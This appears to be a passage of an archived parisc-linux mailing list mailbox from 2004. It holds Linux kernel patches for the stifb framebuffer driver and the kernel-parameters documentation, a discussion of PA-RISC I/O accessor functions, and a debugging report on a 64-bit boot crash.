X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24999


 - Fix "sti= parameter ignored by stifb" bug (Stuart Brady)
 - Fix the STI crash with HCRX-24 in 32bpp mode (Helge Deller)

diff -urpNX dontdiff linux-2.6.10-rc1-bk9/drivers/video/stifb.c parisc-2.6-bk/drivers/video/stifb.c
--- linux-2.6.10-rc1-bk9/drivers/video/stifb.c	Fri Oct 22 15:40:35 2004
+++ parisc-2.6-bk/drivers/video/stifb.c	Sat Oct 30 09:31:49 2004
@@ -112,6 +112,7 @@ struct stifb_info {
 	ngle_rom_t ngle_rom;
 	struct sti_struct *sti;
 	int deviceSpecificConfig;
+	u32 pseudo_palette[16];
 };
 
 static int __initdata bpp = 8;	/* parameter from modprobe */
@@ -1030,6 +1031,14 @@ stifb_setcolreg(u_int regno, u_int red, 
 				/* 0x100 is same as used in WRITE_IMAGE_COLOR() */
 		START_COLORMAPLOAD(fb, lutBltCtl.all);
 		SETUP_FB(fb);
+
+		/* info->var.bits_per_pixel == 32 */
+		if (regno < 16) 
+		  ((u32 *)(info->pseudo_palette))[regno] =
+			(red   << info->var.red.offset)   |
+			(green << info->var.green.offset) |
+			(blue  << info->var.blue.offset);
+
 	} else {
 		/* cleanup colormap hardware */
 		FINISH_IMAGE_COLORMAP_ACCESS(fb);
@@ -1327,6 +1336,7 @@ stifb_init_fb(struct sti_struct *sti, in
 	info->screen_base = (void*) REGION_BASE(fb,1);
 	info->flags = FBINFO_DEFAULT;
 	info->currcon = -1;
+	info->pseudo_palette = &fb->pseudo_palette;
 
 	/* This has to been done !!! */
 	fb_alloc_cmap(&info->cmap, 256, 0);
@@ -1383,6 +1393,7 @@ int __init
 stifb_init(void)
 {
 	struct sti_struct *sti;
+	struct sti_struct *def_sti;
 	int i;
 	
 #ifndef MODULE
@@ -1397,9 +1408,19 @@ stifb_init(void)
 		return -ENXIO;
 	}
 	
+	def_sti = sti_get_rom(0);
+	if (def_sti) {
+		for (i = 1; i < MAX_STI_ROMS; i++) {
+			sti = sti_get_rom(i);
+			if (sti == def_sti && bpp > 0)
+				stifb_force_bpp[i] = bpp;
+		}
+		stifb_init_fb(def_sti, stifb_force_bpp[i]);
+	}
+
 	for (i = 1; i < MAX_STI_ROMS; i++) {
 		sti = sti_get_rom(i);
-		if (!sti)
+		if (!sti || sti==def_sti)
 			break;
 		if (bpp > 0)
 			stifb_force_bpp[i] = bpp;

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] kernel-parameters update for PA-RISC
Date: Sat, 30 Oct 2004 21:57:39 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20041030205739.GL8958__17857.0340540775$1416624502$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624502 26418 80.91.229.3 (22 Nov 2014 02:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:22 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Linus Torvalds <torvalds@osdl.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4401 invoked by uid 65534); 30 Oct 2004 20:58:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 30 Oct 2004 22:58:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D6D2A3BE30; Sat, 30 Oct 2004 14:57:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19847-05; Sat, 30 Oct 2004 14:57:57 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7E80C3BE1C; Sat, 30 Oct 2004 14:57:46 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 263D13BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 14:57:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19847-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 14:57:42 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EA99A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 14:57:41 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 869B1494AC2; Sat, 30 Oct 2004 14:57:41 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id E3529494187
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 14:57:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CO0I8-0007xy-1z; Sat, 30 Oct 2004 21:57:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25000


 - Add the PARISC tag (Thibaut Varene)
 - Mark some existing PA-RISC specific entries with it (Thibaut Varene)
 - Document pdcchassis (Thibaut Varene)

diff -urpNX dontdiff linux-2.6.10-rc1-bk9/Documentation/kernel-parameters.txt parisc-2.6-bk/Documentation/kernel-parameters.txt
--- linux-2.6.10-rc1-bk9/Documentation/kernel-parameters.txt	Sat Oct 30 09:14:21 2004
+++ parisc-2.6-bk/Documentation/kernel-parameters.txt	Sat Oct 30 09:31:21 2004
@@ -53,6 +53,7 @@ restrictions referred to are that the re
 	NFS	Appropriate NFS support is enabled.
 	OSS	OSS sound support is enabled.
 	PARIDE	The ParIDE subsystem is enabled.
+	PARISC	The PA-RISC architecture is enabled.
 	PCI	PCI bus support is enabled.
 	PCMCIA	The PCMCIA subsystem is enabled.
 	PNP	Plug & Play support is enabled.
@@ -394,7 +395,7 @@ running once the system is up.
 	eicon=		[HW,ISDN] 
 			Format: <id>,<membase>,<irq>
 
-	eisa_irq_edge=	[PARISC]
+	eisa_irq_edge=	[PARISC,HW]
 			See header of drivers/parisc/eisa.c.
 
 	elanfreq=	[IA-32]
@@ -933,6 +934,11 @@ running once the system is up.
 	pd.		[PARIDE]
 			See Documentation/paride.txt.
 
+	pdcchassis=	[PARISC,HW] Disable/Enable PDC Chassis Status codes at
+			boot time.
+			Format: { 0 | 1 }
+			See arch/parisc/kernel/pdc_chassis.c
+
 	pf.		[PARIDE]
 			See Documentation/paride.txt.
 
@@ -1250,7 +1256,7 @@ running once the system is up.
 	st0x=		[HW,SCSI]
 			See header of drivers/scsi/seagate.c.
 
-	sti=		[HW]
+	sti=		[PARISC,HW]
 			Format: <num>
 			Set the STI (builtin display/keyboard on the HP-PARISC
 			machines) console (graphic card) which should be used

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] readb/__raw_readb/gsc_readb and ioremap
Date: Sun, 31 Oct 2004 03:39:50 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <20041031033950.GN8958@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624502 26422 80.91.229.3 (22 Nov 2014 02:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10706 invoked by uid 65534); 31 Oct 2004 03:40:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 31 Oct 2004 04:40:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AB8133BDFC; Sat, 30 Oct 2004 21:40:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23709-02; Sat, 30 Oct 2004 21:40:23 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D2DE63BDFD; Sat, 30 Oct 2004 21:40:00 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB2DC3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 21:39:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23496-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 21:39:55 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 914D93BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 21:39:55 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 1525B494AC2; Sat, 30 Oct 2004 21:39:55 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id C955F494544
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 21:39:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CO6ZK-0006rg-Oa
	for parisc-linux@parisc-linux.org; Sun, 31 Oct 2004 03:39:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25001


I've been looking at asm/io.h (patch just committed).

I feel the need to explain a bit about what's going on because it seems
a little confused.

gsc_read/writeX:
 - Don't byteswap
 - Can be used on raw memory addresses (ie f-space)
__raw_read/writeX:
 - Don't byteswap
 - Should be used on ioremap'ed address
read/writeX:
 - Byteswap
 - Should be used on ioremap'ed address

It was the case that __raw_readl was the same as gsc_readl, but non-parisc
drivers are using __raw_readl now, so we have to change that.

At the moment, ioremap() is a nop.  That really ought to change, and
it's what the USE_HPPA_IOREMAP define is for.  There's at least one
problem with the USE_HPPA_IOREMAP code -- it doesn't byteswap.

So I've rearranged the code.  Now:

gsc_readl returns the value found at the physical address.
If USE_HPPA_IOREMAP is set, __raw_readl returns the value found at
the virtual address.  If not, it's a #define to gsc_readl.  readl is a
#define to byteswap the result from __raw_readl.

There's now prototypes for readX/writeX, so there's a lot of warnings
to clean up.  I suspect we should start by declaring parisc_device->hpa
to be a void __iomem * ... or maybe we should start by inventing a
parisc_iomap() interface.  Anyway, maybe I'll start trying to make
USE_HPPA_IOREMAP work next ...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] readb/__raw_readb/gsc_readb and ioremap
Date: Sat, 30 Oct 2004 22:37:16 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20041031043716.GD5050@colo.lackof.org>
References: <20041031033950.GN8958@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624503 26426 80.91.229.3 (22 Nov 2014 02:48:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21461 invoked by uid 65534); 31 Oct 2004 04:37:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 31 Oct 2004 05:37:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 769713BD42; Sat, 30 Oct 2004 22:37:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23953-06; Sat, 30 Oct 2004 22:37:42 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3FA733BDFC; Sat, 30 Oct 2004 22:37:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 405793BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 22:37:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23953-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 22:37:23 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 181643BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 22:37:23 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 822B5494746; Sat, 30 Oct 2004 22:37:22 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 336A54940BC
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 22:37:19 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CB05A298115; Sat, 30 Oct 2004 22:37:16 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05366-04; Sat, 30 Oct 2004 22:37:16 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 39B5C29805E; Sat, 30 Oct 2004 22:37:16 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20041031033950.GN8958@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25002

On Sun, Oct 31, 2004 at 03:39:50AM +0000, Matthew Wilcox wrote:
> __raw_read/writeX:
>  - Don't byteswap
>  - Should be used on ioremap'ed address
> read/writeX:
>  - Byteswap
>  - Should be used on ioremap'ed address

Willy confirmed there is another subtle difference between the
two sets of functions:
	__raw_read/writeX relax PCI ordering requirements.
	read/writeX enforce PCI Ordering requirements.

Willy correctly ignored this topic since parisc machines are strongly
ordered for IO as well (so far at least).
But I didn't want folks to think byte swapping was the only difference.

Be VERY careful of using __raw_XXX forms outside of parisc specific code.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel crashes on my c3600
Date: Sat, 30 Oct 2004 23:29:22 -0700
Lines: 51
Approved: news@gmane.org
Message-ID: <20041031062922.GK4249@tausq.org>
References: <20041019175440.GP16153@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624503 26428 80.91.229.3 (22 Nov 2014 02:48:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24152 invoked by uid 65534); 31 Oct 2004 06:31:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 31 Oct 2004 07:31:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AAAB03BD42; Sun, 31 Oct 2004 00:31:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25112-01; Sun, 31 Oct 2004 00:31:43 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 90F253BDFC; Sun, 31 Oct 2004 00:31:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9DC83BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 00:31:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24586-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 00:31:16 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B4F2F3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Oct 2004 00:31:16 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 63FB4494746; Sun, 31 Oct 2004 00:31:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by palinux.hppa (Postfix) with ESMTP id BBAED4940BC
	for <parisc-linux@parisc-linux.org>;
	Sun, 31 Oct 2004 00:31:15 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 592DCCDEA1; Sat, 30 Oct 2004 23:29:22 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20041019175440.GP16153@parcelfarce.linux.theplanet.co.uk>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25003

> One of the problems with this crash is that enabling EARLY_CONSOLE
> doesn't help.  The exact same configuration boots fine in 32-bit mode.
> I'm building from the same tree (with O=) so there's no question of patch
> skew.  Turning on DISCONTIGMEM does not help.  The HPMC points inside
> the code generated by the save_general macro just past skip_save_ior
> inside the intr_save function in entry.S

i've found out some more info about this problem, but still no clue why
it's happening....

at the end of head.S, when we branch to virtual space, the first virtual
insn access (to start_kernel) causes a itlb miss fault (as expected).
For some reason, the itlb handler is not able to find the page for
start_kernel in the page table, so it attempts to call the fault handler
(handle_interruption, via intr_save). However, in intr_save, as soon as
we switch to virtual space (virt_map, right before the save_general
macro call), we immediately cause another itlb miss fault, which fails,
and calls intr_save again. Each time intr_save is called, we create a
new stack frame. Eventually, the stack pointer points past valid phys
addr space, and the machine HPMCs.

The question is, why does the itlb miss handler fail to find the mapping
for start_kernel? On my kernel, start_kernel is at 0x1056xxxx, which is
well within the 16MB initially mapped in head.S. I went through the code
in head.S several times and it seems to be correct. I also don't quite
understand how this part of the code, which is all in assembly, can
behave differently between gcc-3.3 and gcc-3.4. I tried to move the
initial-VM initialization code in head.S much closer to the rfi (with
the hypothesis that some intervening code had trashed the page table)
but that doesn't seem to help. I also had a theory that perhaps the
different gcc versions were expanding the #define's differently for
offsets.h, but that doesn't seem to be the case either... so i'm out of
ideas :( 

if it helps, what i see is that in L2_ptep, 
    ldw,s \index(\pmd),\pmd
is returning with \pmd == 0

weird....

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.10-rc1-pa3 & c110: high data rate => Kernel
	panic - ...
Date: Sun, 31 Oct 2004 21:11:02 +0000
Lines: 106
Approved: news@gmane.org
Message-ID: <418554E6.1060905@tiscali.be>
References: <4183F270.30705@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624503 26429 80.91.229.3 (22 Nov 2014 02:48:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:23 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
